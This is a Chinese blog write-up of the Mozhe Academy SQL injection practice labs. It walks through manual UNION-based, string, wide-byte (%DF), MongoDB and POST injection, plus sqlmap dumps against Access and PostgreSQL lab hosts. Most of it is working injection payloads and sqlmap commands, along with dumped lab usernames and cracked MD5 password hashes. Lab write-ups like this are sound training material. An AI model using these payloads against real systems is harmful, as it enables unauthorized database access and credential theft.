墨者学院-SQL注入系列

墨者学院-SQL注入系列

MYSQL

判断注入点

输入id=1 and 1=1 发现页面正常回显
img
输入id=1 and 1=2 发现页面不正常回显
img
此时可以推测出:在id字段存在SQL注入。

猜测字段个数

输入:id=1 order by 4 发现页面正常回显

输入:id=1 order by 5 发现页面不会正常回显

此时可以推测出:当前页面所使用的表,字段个数为4个。

联合查询回显数字

输入:id=-1 union select 1,2,3,4
img
发现可以回显数字,进行注入。

获取相关信息

输入:id=-1 union select 1,database(),user(),4
img
发现数据库名和当前用户为root。证明可以进行高权限注入(这里不考虑)。

输入:id=-1 union select 1,version(),@@version_compile_os,4
img
发现MYSQL版本为5.7.22(可进行有据注入),操作系统为Linux。

有据注入-得到当前数据库下的所有表

输入:id=-1 union select 1,group_concat(TABLE_NAME),3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup'
img
两张表:StormGroup_member、notice

有据注入-得到当前库指定表下的所有字段

输入:id=-1 union select 1,group_concat(COLUMN_NAME),3,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='notice'
img
此时得到了notice表的所有字段,但是没有看到用户名、密码信息。

输入:id=-1 union select 1,group_concat(COLUMN_NAME),3,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member'
img
此时得到了StormGroup_member表下的所有字段,看到了用户名、密码信息。

有据注入-得到当前库,当前表,指定字段下的数据

输入:id=-1 union select 1,name,password,4 from StormGroup_member
img
此时得到了用户名,密码信息。但是,还存不存在其他的用户?

输入:id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
img
此时又得到了用户名,密码信息。(limit 1,1代表从第二条记录开始,取一个)

输入:id=-1 union select 1,name,password,4 from StormGroup_member limit 2,1
img
发现页面无回显,代表不存在其他用户了,共两个用户。

解密

我们发现,用户密码似乎都是密文。我们应该对此进行解密。
推测密文为MD5,我们尝试使用MD5解密

356f589a7df439f6f744ff19bb8092c0 => dsan13
9b46a34f6c1e51c823a853663bede94f => 431535

登录得到flag

当你使用第一个用户登录的时候,发现被禁用了。此时尝试第二个用户进行登录,发现成功。
img

MYSQL(字符型)

字符型跟上述的区别在于:需要考虑符号的闭合,注意使用注释符。

最终的payload:id=tingjigongga' union select 1,name,password,4 from stormgroup_member limit 0,1--+

得到用户名:mozhe,密码:356f589a7df439f6f744ff19bb8092c0 => dsan13

最终的payload:id=tingjigongga' union select 1,name,password,4 from stormgroup_member limit 1,1--+

得到用户名:mozhe, 密码:f6c8fd26cf13a12d7cf560533e5b74a6
=> 491155
img

MongoDB

由于MongoDB是nosql类型的数据库,跟redis差不多。SQLMap不支持这样的数据库。因此,我们需要手工注入。(对于nosql类型的数据库进行注入,需要看源代码,黑盒很难测试)

观察源代码

img
发现:

  • 通过id传参,返回查询的数据。
  • 将数据中的title和content键对应的值进行回显。(这也就证明了:如果没有源代码,你根本不知道键是什么,那么无法进行回显)
  • id是注入点,由于nosql类型的数据库通过键值对传递数据,因此需要考虑符号的闭合。
  • 数据库的名字:mozhe_cms_Authority
  • 存在一个集合,名字为:notice

获得回显

输入:1'}); return ({'title':1,'content':'2

img
代表可以注入,可以回显,下面开始注入。

获取当前数据库下所有集合名

1'}); return ({'title':db.getCollectionNames(),'content':'2

img
返回一个Array,代表这是一个数组,我们可以使用下标来进一步的查看集合。

1'}); return ({'title':db.getCollectionNames()[0],'content':'2

img
获取集合:Authority_confidential

1'}); return ({'title':db.getCollectionNames()[1],'content':'2

img
获取集合:notice

1'}); return ({'title':db.getCollectionNames()[2],'content':'2

img
获取集合:ststem.indexes

1'}); return ({'title':db.getCollectionNames()[3],'content':'2

img
发现不存在集合。

获取当前库,当前集合下的第一个键值对

1'}); return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2

img
得到了第一个用户

1'}); return ({'title':tojson(db.Authority_confidential.find()[1]),'content':'2

img
得到了第二个用户

1'}); return ({'title':tojson(db.Authority_confidential.find()[2]),'content':'2

img

不存在第三个用户

解密,登录,获得flag

a83cd5ad5ed3e1c5597441aaab289f5c => dsansda

ee8a6952195becff43c170785b550768 => 266659

img

宽字节注入

这道题的参数是字符型,当你添加单引号进行闭合时,会被转义。因此,我们需要添加一个汉字(%DF),使得将转义字符吃掉。然后再进行正常的注入流程,关于这个流程这里就不再演示,直接上结果。

判断注入点

http://124.70.71.251:43644/new_list.php?id=1%DF' and 1=1--+ => 成功
http://124.70.71.251:43644/new_list.php?id=1%DF' and 1=2--+ => 失败

查看字段数量

http://124.70.71.251:43644/new_list.php?id=-1%DF' order by 5--+ => 成功
http://124.70.71.251:43644/new_list.php?id=-1%DF' order by 6--+ => 失败

数据回显

http://124.70.71.251:43644/new_list.php?id=-1%DF' union select 1,2,3,4,5--+ => 页面回显3和5

查看数据库

http://124.70.71.251:43644/new_list.php?id=-1%DF' union select 1,2,database(),4,5--+ => 页面回显mozhe_discuz_stormgroup

查看指定数据库下的所有表

http://124.70.71.251:43644/new_list.php?id=-1%DF' union select 1,2,group_concat(TABLE_NAME),4,5 from information_schema.TABLES where TABLE_SCHEMA='mozhe_discuz_stormgroup'--+ 

如果你按照上述方式构造payload,发现TABLE_SCHEMA='mozhe_discuz_stormgroup'的单引号会被转义。

如果你采用宽字节:

http://124.70.71.251:43644/new_list.php?id=-1%DF' union select 1,2,group_concat(TABLE_NAME),4,5 from information_schema.TABLES where TABLE_SCHEMA=%DF'mozhe_discuz_stormgroup%DF'--+

发现这种方式不行了,原因就是:虽然宽字节吃掉了转义符,但是单引号的前面多了一个未知字符。导致语法出错。因此不能使用单引号,进行如下修改:

http://124.70.71.251:43644/new_list.php?id=-1%DF' union select 1,2,group_concat(TABLE_NAME),4,5 from information_schema.TABLES where TABLE_SCHEMA=database()--+ => notice,stormgroup_member

查看指定库,指定表(stormgroup_member)下的所有字段

我们应该避免使用单引号(使用嵌套查询):

http://124.70.71.251:43644/new_list.php?id=-1%DF' union select 1,2,group_concat(COLUMN_NAME),4,5 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME=(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1)--+ => name,password,status

查看指定库,指定表,指定字段的数据

http://124.70.71.251:43644/new_list.php?id=-1%DF' union select 1,2,name,4,password from stormgroup_member limit 0,1 --+ => mozhe 3114b433dece9180717f2b7de56b28a3
http://124.70.71.251:43644/new_list.php?id=-1%DF' union select 1,2,name,4,password from stormgroup_member limit 1,1 --+ => mozhe 91dad5ea2a259ff89e74149596caef9b

解密,获取flag

img

POST注入(手工/SQLMap)

由于是POST注入,推断登录表单用户名处存在注入。密码任意。

推测列数

123' order by 3# =>正常
123' order by 4# =>报错

推测出列数为3

进行页面回显/flag

123' union select 1,2,3# =>获得flag

img

SQLMap执行结果

先抓包,保存在一个文本文件中。在用户名的位置添加注入点

POST /login.php HTTP/1.1
Host: 124.70.71.251:43917
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.71.251:43917
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.70.71.251:43917/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

name=123*&password=123   //*代表注入点

通过SQLMap执行如下命令:

python .\sqlmap.py -r .\1.txt

img

python .\sqlmap.py -r .\1.txt --dbs

img

python .\sqlmap.py -r .\1.txt --tables -D mozhe_Discuz_StormGroup

img

python .\sqlmap.py -r .\1.txt --columns -D mozhe_Discuz_StormGroup -T StormGroup_member

img

python .\sqlmap.py -r .\1.txt --columns -D mozhe_Discuz_StormGroup -T StormGroup_member -C "name,password" --dump

img
解密,登录即可
img

说明

之后的其他数据库思路都跟MYSQL的差不多,只是语句上的差异。因此,之后的内容不再细讲,只是贴出结果,可以自行实践。

或者熟悉工具的使用,拿工具跑~

ACCESS(SQLMap)

判断注入点/开始注入

疑似id为注入点,在该注入点上进行SQL注入。

python .\sqlmap.py -u http://219.153.49.228:48204/new_list.asp?id=1 -v

img

查看所有表

查看当前数据库文件下的所有表(由于ACCESS结构的原因,无法查看所有数据库)(由于ACCESS不支持有据查询,所以只能通过字典暴力猜解)

 python .\sqlmap.py -u http://219.153.49.228:48204/new_list.asp?id=1 --tables

img
最后发现,经过猜解,共有两张表。

查看指定表下的所有字段

由于ACCESS不支持有据查询,因此我们想查看admin表下的所有字段,也需要字典爆破。

 python .\sqlmap.py -u http://219.153.49.228:48204/new_list.asp?id=1 -T admin --columns

img
猜测成功!获取字段:username,passwd

查看指定表,指定字段下的所有数据

 python .\sqlmap.py -u http://219.153.49.228:48204/new_list.asp?id=1 -T admin -C "username,passwd" --dump

img
这样的话,成功拿到了用户

解密

7e6ec4fadf84938f => 27737201
img

PostgreSQL(SQLMap)

python .\sqlmap.py -u http://124.70.71.251:43724/new_list.php?id=1

img

python .\sqlmap.py -u http://124.70.71.251:43724/new_list.php?id=1 --dbs

img

python .\sqlmap.py -u http://124.70.71.251:43724/new_list.php?id=1 --tables

img

python .\sqlmap.py -u http://124.70.71.251:43724/new_list.php?id=1 -T reg_users --columns

img

python .\sqlmap.py -u http://124.70.71.251:43724/new_list.php?id=1 -T reg_users -C "name,password" --dump

img
img

SQLServer/Oracle/DB2/SQLite

对于其他的数据库,这里就不再演示,遇到时直接拿工具跑~

posted @   夏目^_^  阅读(145)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示